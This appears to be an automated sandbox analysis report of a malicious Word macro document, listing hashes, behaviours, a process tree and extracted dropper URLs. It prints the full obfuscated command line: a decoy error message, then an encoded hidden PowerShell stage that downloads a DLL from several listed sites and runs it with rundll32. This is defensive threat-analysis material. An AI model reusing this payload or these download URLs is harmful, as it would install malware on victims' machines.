d165beb4c7b032b989d7681e8d08557ed1f8c937a874fc43701aa61efa9e1992

General

Target

E3-20210112_2343.doc
Size

157KB
MD5

df66ce237d60ca77253674acb51f9420
SHA1

38e3feb8cf7b573eaaac69213809ea8300199ed8
SHA256

d165beb4c7b032b989d7681e8d08557ed1f8c937a874fc43701aa61efa9e1992
SHA512

f1a337cdc4c73d16176d9c6c6389c2dd78b14e680e028b2199d629938bb826df4182e54a5be72fe05d4f4ae9630cbbe6ff8c9e9590ed1a168344e6e7e3743e3b

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://adsavy.com/files/pJ/

exe.dropper

http://bestpopping.com/electric-auger-n0ao3/Emwmeyje76/

exe.dropper

http://replanliving.co.uk/wp-content/microsoft/

exe.dropper

https://rashmimaheshwari.com/content/SIGNUP/

exe.dropper

https://www.infoquick.co.uk/myfriends/Help/

exe.dropper

http://calledtochange.org/CalledtoChange/Systems/

Signatures

Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.

Processes:

cmd.exe

description pid pid_target process target process

Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 1464 1776 cmd.exe
Blocklisted process makes network request 2 IoCs

Processes:

powershell.exerundll32.exe

flow pid process

6 648 powershell.exe
8 1744 rundll32.exe
Loads dropped DLL 4 IoCs

Processes:

rundll32.exe

pid process

296 rundll32.exe
296 rundll32.exe
296 rundll32.exe
296 rundll32.exe

description	pid	pid_target	process	target process
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1464	1776	cmd.exe

flow	pid	process
6	648	powershell.exe
8	1744	rundll32.exe

pid	process
296	rundll32.exe
296	rundll32.exe
296	rundll32.exe
296	rundll32.exe

Drops file in System32 directory 2 IoCs

Processes:

powershell.exerundll32.exe

description	ioc	process
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\SysWOW64\Akmwtowryxjuc\avfvwqwuwtao.nis	rundll32.exe

Drops file in Windows directory 1 IoCs

Processes:

WINWORD.EXE

description ioc process

File opened for modification C:\Windows\Debug\WIA\wiatrace.log WINWORD.EXE
Office loads VBA resources, possible macro or embedded object present

description	ioc	process
File opened for modification	C:\Windows\Debug\WIA\wiatrace.log	WINWORD.EXE

Modifies Internet Explorer settings 1 TTPs 9 IoCs

adware spyware

Modify Registry

T1112

Processes:

WINWORD.EXE

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\ONBttnIE.dll/105"	WINWORD.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\Contexts = "55"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\EXCEL.EXE/3000"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Internet Explorer\MenuExt	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote	WINWORD.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\Contexts = "1"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Internet Explorer\Toolbar	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-293278959-2699126792-324916226-1000\Software\Microsoft\Internet Explorer\Toolbar\ShowDiscussionButton = "Yes"	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

WINWORD.EXE

pid process

1048 WINWORD.EXE
Suspicious behavior: EnumeratesProcesses 4 IoCs

Processes:

powershell.exerundll32.exe

pid process

648 powershell.exe
648 powershell.exe
1744 rundll32.exe
1744 rundll32.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 648 powershell.exe
Suspicious use of SetWindowsHookEx 2 IoCs

Processes:

WINWORD.EXE

pid process

1048 WINWORD.EXE
1048 WINWORD.EXE

pid	process
1048	WINWORD.EXE

pid	process
648	powershell.exe
648	powershell.exe
1744	rundll32.exe
1744	rundll32.exe

description	pid	process
Token: SeDebugPrivilege	648	powershell.exe

pid	process
1048	WINWORD.EXE
1048	WINWORD.EXE

Suspicious use of WriteProcessMemory 23 IoCs

Processes:

cmd.exepowershell.exerundll32.exerundll32.exe

description	pid	process	target process
PID 1464 wrote to memory of 1808	1464	cmd.exe	msg.exe
PID 1464 wrote to memory of 1808	1464	cmd.exe	msg.exe
PID 1464 wrote to memory of 1808	1464	cmd.exe	msg.exe
PID 1464 wrote to memory of 648	1464	cmd.exe	powershell.exe
PID 1464 wrote to memory of 648	1464	cmd.exe	powershell.exe
PID 1464 wrote to memory of 648	1464	cmd.exe	powershell.exe
PID 648 wrote to memory of 728	648	powershell.exe	rundll32.exe
PID 648 wrote to memory of 728	648	powershell.exe	rundll32.exe
PID 648 wrote to memory of 728	648	powershell.exe	rundll32.exe
PID 728 wrote to memory of 296	728	rundll32.exe	rundll32.exe
PID 728 wrote to memory of 296	728	rundll32.exe	rundll32.exe
PID 728 wrote to memory of 296	728	rundll32.exe	rundll32.exe
PID 728 wrote to memory of 296	728	rundll32.exe	rundll32.exe
PID 728 wrote to memory of 296	728	rundll32.exe	rundll32.exe
PID 728 wrote to memory of 296	728	rundll32.exe	rundll32.exe
PID 728 wrote to memory of 296	728	rundll32.exe	rundll32.exe
PID 296 wrote to memory of 1744	296	rundll32.exe	rundll32.exe
PID 296 wrote to memory of 1744	296	rundll32.exe	rundll32.exe
PID 296 wrote to memory of 1744	296	rundll32.exe	rundll32.exe
PID 296 wrote to memory of 1744	296	rundll32.exe	rundll32.exe
PID 296 wrote to memory of 1744	296	rundll32.exe	rundll32.exe
PID 296 wrote to memory of 1744	296	rundll32.exe	rundll32.exe
PID 296 wrote to memory of 1744	296	rundll32.exe	rundll32.exe

C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\E3-20210112_2343.doc"
1⤵
- Drops file in Windows directory
- Modifies Internet Explorer settings
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:1048

C:\Windows\system32\cmd.exe
cmd cmd /c m^s^g %username% /v Wo^rd exp^erien^ced an er^ror tryi^ng to op^en th^e fi^le. & p^owe^rs^he^ll^ -w hi^dd^en -^e^nc IABzAFYAIAAoACIARQAzADEAIgArACIAQQAiACkAIAAoACAAIABbAFQAWQBwAGUAXQAoACIAewAyAH0AewAxAH0AewAwAH0AewA1AH0AewAzAH0AewA0AH0AIgAgAC0ARgAgACcAaQBvAC4ARAAnACwAJwB5AFMAVABlAE0ALgAnACwAJwBzACcALAAnAGMAJwAsACcAVABPAHIAeQAnACwAJwBpAHIAZQAnACkAKQAgACAAOwAgACAAIAAgAFMAZQB0AC0AaQBUAGUATQAgAFYAYQByAGkAQQBiAEwAZQA6AEIAMwB3ACAAKAAgAFsAdAB5AHAARQBdACgAIgB7ADMAfQB7ADIAfQB7ADAAfQB7ADQAfQB7ADUAfQB7ADEAfQAiAC0AZgAnAEUAUgB2AGkAJwAsACcAZQBSACcALAAnAC4AUwAnACwAJwBTAHkAcwBUAEUATQAuAE4ARQB0ACcALAAnAGMAZQBwAE8ASQBuAHQAbQBhAG4AQQAnACwAJwBnACcAKQAgACkAOwAgACQAVQBlADkAeQA3ADUAYQA9ACQATgAxADYASQAgACsAIABbAGMAaABhAHIAXQAoADYANAApACAAKwAgACQASQA3ADkATQA7ACQARQA2ADYASAA9ACgAJwBPADgAJwArACcANQBVACcAKQA7ACAAIAAkAEUAMwAxAGEAOgA6ACIAYwBSAGAARQBBAHQAZQBgAGQASQBSAGUAYwBgAFQATwBSAFkAIgAoACQASABPAE0ARQAgACsAIAAoACgAKAAnAHAAagBvACcAKwAnAFIAbABnAHIAJwApACsAKAAnAG4ANQAyACcAKwAnAHAAagBvAEQAaAB3ACcAKQArACgAJwBvAGYAJwArACcAOAAnACkAKwAnADQAJwArACgAJwBwAGoAJwArACcAbwAnACkAKQAgACAALQByAEUAUABMAGEAQwBFACAAKABbAEMASABBAFIAXQAxADEAMgArAFsAQwBIAEEAUgBdADEAMAA2ACsAWwBDAEgAQQBSAF0AMQAxADEAKQAsAFsAQwBIAEEAUgBdADkAMgApACkAOwAkAEMANgAyAFMAPQAoACgAJwBHAF8AJwArACcANQAnACkAKwAnAE4AJwApADsAIAAkAGIAMwB3ADoAOgAiAHMAZQBjAFUAcgBJAGAAVAB5AHAAYABSAE8AdABgAE8AYwBvAEwAIgAgAD0AIAAoACgAJwBUAGwAcwAnACsAJwAxACcAKQArACcAMgAnACkAOwAkAEUAMAA0AFIAPQAoACcAVgA0ACcAKwAnADgAVgAnACkAOwAkAE8AYwBtAGMAeABlADAAIAA9ACAAKAAnAFMANQAnACsAJwBfAEQAJwApADsAJABGADcAMABTAD0AKAAoACcAUwA4ACcAKwAnADIAJwApACsAJwBJACcAKQA7ACQASwB6AHIAcQA0AGoAYQA9ACQASABPAE0ARQArACgAKAAoACcAagBJAGMAUgAnACsAJwBsAGcAJwArACcAcgBuACcAKQArACcANQAyACcAKwAoACcAagBJAGMARAAnACsAJwBoACcAKQArACgAJwB3AG8AJwArACcAZgAnACkAKwAoACcAOAA0ACcAKwAnAGoAJwApACsAJwBJAGMAJwApAC0AQwBSAGUAUABMAEEAYwBlACAAKAAnAGoAJwArACcASQBjACcAKQAsAFsAYwBIAEEAcgBdADkAMgApACsAJABPAGMAbQBjAHgAZQAwACsAKAAnAC4AZAAnACsAJwBsAGwAJwApADsAJABaADAAMABaAD0AKAAoACcASwAnACsAJwAyADQAJwApACsAJwBYACcAKQA7ACQATgB0AHYAZABvAHUAbwA9ACgAKAAnAHcAJwArACcAXQB4AG0AWwB2ACcAKQArACgAJwA6ACcAKwAnAC8ALwBhAGQAcwBhACcAKwAnAHYAeQAnACkAKwAoACcALgAnACsAJwBjAG8AbQAvAGYAaQAnACkAKwAoACcAbABlAHMAJwArACcALwAnACkAKwAnAHAASgAnACsAKAAnAC8AQAAnACsAJwB3AF0AJwApACsAJwB4AG0AJwArACgAJwBbAHYAJwArACcAOgAnACkAKwAoACcALwAvAGIAZQAnACsAJwBzAHQAJwArACcAcABvACcAKQArACgAJwBwAHAAaQBuAGcAJwArACcALgBjACcAKQArACcAbwBtACcAKwAoACcALwBlACcAKwAnAGwAJwApACsAJwBlACcAKwAnAGMAdAAnACsAJwByAGkAJwArACcAYwAtACcAKwAoACcAYQAnACsAJwB1AGcAJwApACsAKAAnAGUAJwArACcAcgAtAG4AMABhAG8AJwApACsAKAAnADMALwBFAG0AdwBtAGUAJwArACcAeQAnACkAKwAoACcAagAnACsAJwBlADcAJwApACsAKAAnADYALwBAAHcAJwArACcAXQAnACsAJwB4AG0AWwAnACsAJwB2ADoAJwApACsAKAAnAC8AJwArACcALwByACcAKwAnAGUAcABsAGEAJwApACsAKAAnAG4AJwArACcAbABpAHYAaQBuAGcAJwApACsAJwAuAGMAJwArACcAbwAnACsAJwAuAHUAJwArACgAJwBrAC8AdwBwAC0AYwAnACsAJwBvAG4AdAAnACsAJwBlAG4AJwApACsAKAAnAHQALwBtAGkAYwAnACsAJwByACcAKQArACgAJwBvACcAKwAnAHMAJwArACcAbwBmAHQALwAnACsAJwBAAHcAXQB4AG0AWwB2ACcAKwAnAHMAOgAvACcAKwAnAC8AcgBhAHMAaAAnACkAKwAnAG0AJwArACcAaQAnACsAKAAnAG0AYQBoAGUAcwAnACsAJwBoAHcAYQByAGkALgBjAG8AbQAnACsAJwAvACcAKwAnAGMAbwAnACsAJwBuAHQAJwApACsAKAAnAGUAbgB0AC8AUwBJAEcATgBVAFAALwBAAHcAXQAnACsAJwB4AG0AWwAnACsAJwB2AHMAJwArACcAOgAnACsAJwAvAC8AJwArACcAdwB3ACcAKQArACcAdwAnACsAKAAnAC4AaQBuAGYAJwArACcAbwAnACkAKwAnAHEAdQAnACsAJwBpAGMAJwArACcAawAuACcAKwAoACcAYwAnACsAJwBvAC4AdQBrACcAKQArACcALwBtACcAKwAoACcAeQBmACcAKwAnAHIAaQAnACsAJwBlAG4AZABzAC8AJwArACcASABlACcAKQArACgAJwBsAHAALwBAACcAKwAnAHcAXQAnACsAJwB4AG0AJwArACcAWwB2ACcAKQArACgAJwA6ACcAKwAnAC8ALwBjACcAKQArACgAJwBhACcAKwAnAGwAbABlAGQAJwApACsAKAAnAHQAJwArACcAbwBjACcAKQArACgAJwBoAGEAbgBnACcAKwAnAGUALgBvAHIAZwAnACkAKwAnAC8AJwArACgAJwBDAGEAbABsACcAKwAnAGUAZAB0ACcAKwAnAG8AJwApACsAKAAnAEMAaAAnACsAJwBhACcAKwAnAG4AJwArACcAZwBlACcAKwAnAC8AUwB5AHMAdABlAG0AcwAvACcAKQApAC4AIgByAEUAcABsAGAAQQBDAGUAIgAoACgAJwB3ACcAKwAoACcAXQB4ACcAKwAnAG0AWwB2ACcAKQApACwAKABbAGEAcgByAGEAeQBdACgAKAAoACcAZABzAGUAJwArACcAdwAnACkAKwAnAGYAJwApACwAKAAnAHcAZQAnACsAKAAnAHYAdwAnACsAJwBlACcAKQApACkALAAoACcAYQBlACcAKwAnAGYAZgAnACkALAAoACcAaAAnACsAKAAnAHQAJwArACcAdABwACcAKQApACkAWwAyAF0AKQAuACIAUwBgAHAATABJAHQAIgAoACQASAAzADAARAAgACsAIAAkAFUAZQA5AHkANwA1AGEAIAArACAAJABHAF8ANwBMACkAOwAkAFMANwAxAEMAPQAoACcAUwAxACcAKwAnADgATQAnACkAOwBmAG8AcgBlAGEAYwBoACAAKAAkAFgAcQB1AF8AeQBxADkAIABpAG4AIAAkAE4AdAB2AGQAbwB1AG8AKQB7AHQAcgB5AHsAKAAuACgAJwBOACcAKwAnAGUAdwAnACsAJwAtACcAKwAnAE8AYgBqAGUAYwB0ACcAKQAgAFMAWQBTAHQAZQBNAC4ATgBFAFQALgBXAEUAQgBDAGwAaQBFAG4AVAApAC4AIgBkAGAATwBXAE4ATABPAGAAQQBEAEYAYABpAGwAZQAiACgAJABYAHEAdQBfAHkAcQA5ACwAIAAkAEsAegByAHEANABqAGEAKQA7ACQATAA5ADEATwA9ACgAKAAnAFkANgAnACsAJwA4ACcAKQArACcAVwAnACkAOwBJAGYAIAAoACgALgAoACcARwBlAHQALQBJACcAKwAnAHQAZQAnACsAJwBtACcAKQAgACQASwB6AHIAcQA0AGoAYQApAC4AIgBsAEUAYABOAGcAdABoACIAIAAtAGcAZQAgADQAOQAwADkANwApACAAewAmACgAJwByACcAKwAnAHUAbgBkAGwAbAAzADIAJwApACAAJABLAHoAcgBxADQAagBhACwAKAAnAFMAaAAnACsAKAAnAG8AdwAnACsAJwBEAGkAYQBsACcAKQArACgAJwBvACcAKwAnAGcAQQAnACkAKQAuACIAdABPAFMAYABUAHIAYABpAE4ARwAiACgAKQA7ACQAQwAxADEASQA9ACgAJwBTADgAJwArACcAMQBVACcAKQA7AGIAcgBlAGEAawA7ACQAQwA4ADcATAA9ACgAJwBXACcAKwAoACcAOQAwACcAKwAnAEcAJwApACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAE0AOQAxAFAAPQAoACcARQA0ACcAKwAnAF8AUwAnACkA
1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:1464

C:\Windows\system32\msg.exe
msg Admin /v Word experienced an error trying to open the file.
2⤵
PID:1808

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -w hidden -enc IABzAFYAIAAoACIARQAzADEAIgArACIAQQAiACkAIAAoACAAIABbAFQAWQBwAGUAXQAoACIAewAyAH0AewAxAH0AewAwAH0AewA1AH0AewAzAH0AewA0AH0AIgAgAC0ARgAgACcAaQBvAC4ARAAnACwAJwB5AFMAVABlAE0ALgAnACwAJwBzACcALAAnAGMAJwAsACcAVABPAHIAeQAnACwAJwBpAHIAZQAnACkAKQAgACAAOwAgACAAIAAgAFMAZQB0AC0AaQBUAGUATQAgAFYAYQByAGkAQQBiAEwAZQA6AEIAMwB3ACAAKAAgAFsAdAB5AHAARQBdACgAIgB7ADMAfQB7ADIAfQB7ADAAfQB7ADQAfQB7ADUAfQB7ADEAfQAiAC0AZgAnAEUAUgB2AGkAJwAsACcAZQBSACcALAAnAC4AUwAnACwAJwBTAHkAcwBUAEUATQAuAE4ARQB0ACcALAAnAGMAZQBwAE8ASQBuAHQAbQBhAG4AQQAnACwAJwBnACcAKQAgACkAOwAgACQAVQBlADkAeQA3ADUAYQA9ACQATgAxADYASQAgACsAIABbAGMAaABhAHIAXQAoADYANAApACAAKwAgACQASQA3ADkATQA7ACQARQA2ADYASAA9ACgAJwBPADgAJwArACcANQBVACcAKQA7ACAAIAAkAEUAMwAxAGEAOgA6ACIAYwBSAGAARQBBAHQAZQBgAGQASQBSAGUAYwBgAFQATwBSAFkAIgAoACQASABPAE0ARQAgACsAIAAoACgAKAAnAHAAagBvACcAKwAnAFIAbABnAHIAJwApACsAKAAnAG4ANQAyACcAKwAnAHAAagBvAEQAaAB3ACcAKQArACgAJwBvAGYAJwArACcAOAAnACkAKwAnADQAJwArACgAJwBwAGoAJwArACcAbwAnACkAKQAgACAALQByAEUAUABMAGEAQwBFACAAKABbAEMASABBAFIAXQAxADEAMgArAFsAQwBIAEEAUgBdADEAMAA2ACsAWwBDAEgAQQBSAF0AMQAxADEAKQAsAFsAQwBIAEEAUgBdADkAMgApACkAOwAkAEMANgAyAFMAPQAoACgAJwBHAF8AJwArACcANQAnACkAKwAnAE4AJwApADsAIAAkAGIAMwB3ADoAOgAiAHMAZQBjAFUAcgBJAGAAVAB5AHAAYABSAE8AdABgAE8AYwBvAEwAIgAgAD0AIAAoACgAJwBUAGwAcwAnACsAJwAxACcAKQArACcAMgAnACkAOwAkAEUAMAA0AFIAPQAoACcAVgA0ACcAKwAnADgAVgAnACkAOwAkAE8AYwBtAGMAeABlADAAIAA9ACAAKAAnAFMANQAnACsAJwBfAEQAJwApADsAJABGADcAMABTAD0AKAAoACcAUwA4ACcAKwAnADIAJwApACsAJwBJACcAKQA7ACQASwB6AHIAcQA0AGoAYQA9ACQASABPAE0ARQArACgAKAAoACcAagBJAGMAUgAnACsAJwBsAGcAJwArACcAcgBuACcAKQArACcANQAyACcAKwAoACcAagBJAGMARAAnACsAJwBoACcAKQArACgAJwB3AG8AJwArACcAZgAnACkAKwAoACcAOAA0ACcAKwAnAGoAJwApACsAJwBJAGMAJwApAC0AQwBSAGUAUABMAEEAYwBlACAAKAAnAGoAJwArACcASQBjACcAKQAsAFsAYwBIAEEAcgBdADkAMgApACsAJABPAGMAbQBjAHgAZQAwACsAKAAnAC4AZAAnACsAJwBsAGwAJwApADsAJABaADAAMABaAD0AKAAoACcASwAnACsAJwAyADQAJwApACsAJwBYACcAKQA7ACQATgB0AHYAZABvAHUAbwA9ACgAKAAnAHcAJwArACcAXQB4AG0AWwB2ACcAKQArACgAJwA6ACcAKwAnAC8ALwBhAGQAcwBhACcAKwAnAHYAeQAnACkAKwAoACcALgAnACsAJwBjAG8AbQAvAGYAaQAnACkAKwAoACcAbABlAHMAJwArACcALwAnACkAKwAnAHAASgAnACsAKAAnAC8AQAAnACsAJwB3AF0AJwApACsAJwB4AG0AJwArACgAJwBbAHYAJwArACcAOgAnACkAKwAoACcALwAvAGIAZQAnACsAJwBzAHQAJwArACcAcABvACcAKQArACgAJwBwAHAAaQBuAGcAJwArACcALgBjACcAKQArACcAbwBtACcAKwAoACcALwBlACcAKwAnAGwAJwApACsAJwBlACcAKwAnAGMAdAAnACsAJwByAGkAJwArACcAYwAtACcAKwAoACcAYQAnACsAJwB1AGcAJwApACsAKAAnAGUAJwArACcAcgAtAG4AMABhAG8AJwApACsAKAAnADMALwBFAG0AdwBtAGUAJwArACcAeQAnACkAKwAoACcAagAnACsAJwBlADcAJwApACsAKAAnADYALwBAAHcAJwArACcAXQAnACsAJwB4AG0AWwAnACsAJwB2ADoAJwApACsAKAAnAC8AJwArACcALwByACcAKwAnAGUAcABsAGEAJwApACsAKAAnAG4AJwArACcAbABpAHYAaQBuAGcAJwApACsAJwAuAGMAJwArACcAbwAnACsAJwAuAHUAJwArACgAJwBrAC8AdwBwAC0AYwAnACsAJwBvAG4AdAAnACsAJwBlAG4AJwApACsAKAAnAHQALwBtAGkAYwAnACsAJwByACcAKQArACgAJwBvACcAKwAnAHMAJwArACcAbwBmAHQALwAnACsAJwBAAHcAXQB4AG0AWwB2ACcAKwAnAHMAOgAvACcAKwAnAC8AcgBhAHMAaAAnACkAKwAnAG0AJwArACcAaQAnACsAKAAnAG0AYQBoAGUAcwAnACsAJwBoAHcAYQByAGkALgBjAG8AbQAnACsAJwAvACcAKwAnAGMAbwAnACsAJwBuAHQAJwApACsAKAAnAGUAbgB0AC8AUwBJAEcATgBVAFAALwBAAHcAXQAnACsAJwB4AG0AWwAnACsAJwB2AHMAJwArACcAOgAnACsAJwAvAC8AJwArACcAdwB3ACcAKQArACcAdwAnACsAKAAnAC4AaQBuAGYAJwArACcAbwAnACkAKwAnAHEAdQAnACsAJwBpAGMAJwArACcAawAuACcAKwAoACcAYwAnACsAJwBvAC4AdQBrACcAKQArACcALwBtACcAKwAoACcAeQBmACcAKwAnAHIAaQAnACsAJwBlAG4AZABzAC8AJwArACcASABlACcAKQArACgAJwBsAHAALwBAACcAKwAnAHcAXQAnACsAJwB4AG0AJwArACcAWwB2ACcAKQArACgAJwA6ACcAKwAnAC8ALwBjACcAKQArACgAJwBhACcAKwAnAGwAbABlAGQAJwApACsAKAAnAHQAJwArACcAbwBjACcAKQArACgAJwBoAGEAbgBnACcAKwAnAGUALgBvAHIAZwAnACkAKwAnAC8AJwArACgAJwBDAGEAbABsACcAKwAnAGUAZAB0ACcAKwAnAG8AJwApACsAKAAnAEMAaAAnACsAJwBhACcAKwAnAG4AJwArACcAZwBlACcAKwAnAC8AUwB5AHMAdABlAG0AcwAvACcAKQApAC4AIgByAEUAcABsAGAAQQBDAGUAIgAoACgAJwB3ACcAKwAoACcAXQB4ACcAKwAnAG0AWwB2ACcAKQApACwAKABbAGEAcgByAGEAeQBdACgAKAAoACcAZABzAGUAJwArACcAdwAnACkAKwAnAGYAJwApACwAKAAnAHcAZQAnACsAKAAnAHYAdwAnACsAJwBlACcAKQApACkALAAoACcAYQBlACcAKwAnAGYAZgAnACkALAAoACcAaAAnACsAKAAnAHQAJwArACcAdABwACcAKQApACkAWwAyAF0AKQAuACIAUwBgAHAATABJAHQAIgAoACQASAAzADAARAAgACsAIAAkAFUAZQA5AHkANwA1AGEAIAArACAAJABHAF8ANwBMACkAOwAkAFMANwAxAEMAPQAoACcAUwAxACcAKwAnADgATQAnACkAOwBmAG8AcgBlAGEAYwBoACAAKAAkAFgAcQB1AF8AeQBxADkAIABpAG4AIAAkAE4AdAB2AGQAbwB1AG8AKQB7AHQAcgB5AHsAKAAuACgAJwBOACcAKwAnAGUAdwAnACsAJwAtACcAKwAnAE8AYgBqAGUAYwB0ACcAKQAgAFMAWQBTAHQAZQBNAC4ATgBFAFQALgBXAEUAQgBDAGwAaQBFAG4AVAApAC4AIgBkAGAATwBXAE4ATABPAGAAQQBEAEYAYABpAGwAZQAiACgAJABYAHEAdQBfAHkAcQA5ACwAIAAkAEsAegByAHEANABqAGEAKQA7ACQATAA5ADEATwA9ACgAKAAnAFkANgAnACsAJwA4ACcAKQArACcAVwAnACkAOwBJAGYAIAAoACgALgAoACcARwBlAHQALQBJACcAKwAnAHQAZQAnACsAJwBtACcAKQAgACQASwB6AHIAcQA0AGoAYQApAC4AIgBsAEUAYABOAGcAdABoACIAIAAtAGcAZQAgADQAOQAwADkANwApACAAewAmACgAJwByACcAKwAnAHUAbgBkAGwAbAAzADIAJwApACAAJABLAHoAcgBxADQAagBhACwAKAAnAFMAaAAnACsAKAAnAG8AdwAnACsAJwBEAGkAYQBsACcAKQArACgAJwBvACcAKwAnAGcAQQAnACkAKQAuACIAdABPAFMAYABUAHIAYABpAE4ARwAiACgAKQA7ACQAQwAxADEASQA9ACgAJwBTADgAJwArACcAMQBVACcAKQA7AGIAcgBlAGEAawA7ACQAQwA4ADcATAA9ACgAJwBXACcAKwAoACcAOQAwACcAKwAnAEcAJwApACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAE0AOQAxAFAAPQAoACcARQA0ACcAKwAnAF8AUwAnACkA
2⤵
- Blocklisted process makes network request
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:648

C:\Windows\system32\rundll32.exe
"C:\Windows\system32\rundll32.exe" C:\Users\Admin\Rlgrn52\Dhwof84\S5_D.dll ShowDialogA
3⤵
- Suspicious use of WriteProcessMemory
PID:728

C:\Windows\SysWOW64\rundll32.exe
"C:\Windows\system32\rundll32.exe" C:\Users\Admin\Rlgrn52\Dhwof84\S5_D.dll ShowDialogA
4⤵
- Loads dropped DLL
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
PID:296

C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Akmwtowryxjuc\avfvwqwuwtao.nis",ShowDialogA
5⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
PID:1744

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\Rlgrn52\Dhwof84\S5_D.dll

MD5
175c0b41cdee6048e5cf5237ca6e00a7

SHA1
04bf57ce57b5b3cf99bae6d58f74159521fcbc60

SHA256
4e2bef981878542df9a370206f5da724a58bfc58085856163cd39500b8cc4c47

SHA512
b9d277435b47ff7e143491efb17669ad3f5964d3b05210d5b1d00e8df681d8f08878ef147cb360003e1ae45a27aceca557b47b2c4a6d9acf8a7bdcaddc535a89

Download Submit
\Users\Admin\Rlgrn52\Dhwof84\S5_D.dll

MD5
175c0b41cdee6048e5cf5237ca6e00a7

SHA1
04bf57ce57b5b3cf99bae6d58f74159521fcbc60

SHA256
4e2bef981878542df9a370206f5da724a58bfc58085856163cd39500b8cc4c47

SHA512
b9d277435b47ff7e143491efb17669ad3f5964d3b05210d5b1d00e8df681d8f08878ef147cb360003e1ae45a27aceca557b47b2c4a6d9acf8a7bdcaddc535a89

Download Submit
\Users\Admin\Rlgrn52\Dhwof84\S5_D.dll

MD5
175c0b41cdee6048e5cf5237ca6e00a7

SHA1
04bf57ce57b5b3cf99bae6d58f74159521fcbc60

SHA256
4e2bef981878542df9a370206f5da724a58bfc58085856163cd39500b8cc4c47

SHA512
b9d277435b47ff7e143491efb17669ad3f5964d3b05210d5b1d00e8df681d8f08878ef147cb360003e1ae45a27aceca557b47b2c4a6d9acf8a7bdcaddc535a89

Download Submit
\Users\Admin\Rlgrn52\Dhwof84\S5_D.dll

MD5
175c0b41cdee6048e5cf5237ca6e00a7

SHA1
04bf57ce57b5b3cf99bae6d58f74159521fcbc60

SHA256
4e2bef981878542df9a370206f5da724a58bfc58085856163cd39500b8cc4c47

SHA512
b9d277435b47ff7e143491efb17669ad3f5964d3b05210d5b1d00e8df681d8f08878ef147cb360003e1ae45a27aceca557b47b2c4a6d9acf8a7bdcaddc535a89

Download Submit
\Users\Admin\Rlgrn52\Dhwof84\S5_D.dll

MD5
175c0b41cdee6048e5cf5237ca6e00a7

SHA1
04bf57ce57b5b3cf99bae6d58f74159521fcbc60

SHA256
4e2bef981878542df9a370206f5da724a58bfc58085856163cd39500b8cc4c47

SHA512
b9d277435b47ff7e143491efb17669ad3f5964d3b05210d5b1d00e8df681d8f08878ef147cb360003e1ae45a27aceca557b47b2c4a6d9acf8a7bdcaddc535a89

Download Submit
memory/296-13-0x0000000000000000-mapping.dmp

Download
memory/648-6-0x000000001ADE0000-0x000000001ADE1000-memory.dmp

Filesize
4KB

Download
memory/648-9-0x000000001BA10000-0x000000001BA11000-memory.dmp

Filesize
4KB

Download
memory/648-10-0x000000001ACB0000-0x000000001ACB1000-memory.dmp

Filesize
4KB

Download
memory/648-8-0x0000000002410000-0x0000000002411000-memory.dmp

Filesize
4KB

Download
memory/648-7-0x00000000024B0000-0x00000000024B1000-memory.dmp

Filesize
4KB

Download
memory/648-5-0x0000000001DB0000-0x0000000001DB1000-memory.dmp

Filesize
4KB

Download
memory/648-4-0x000007FEF5130000-0x000007FEF5B1C000-memory.dmp

Filesize
9.9MB

Download
memory/648-3-0x0000000000000000-mapping.dmp

Download
memory/728-11-0x0000000000000000-mapping.dmp

Download
memory/1584-19-0x000007FEF71F0000-0x000007FEF746A000-memory.dmp

Filesize
2.5MB

Download
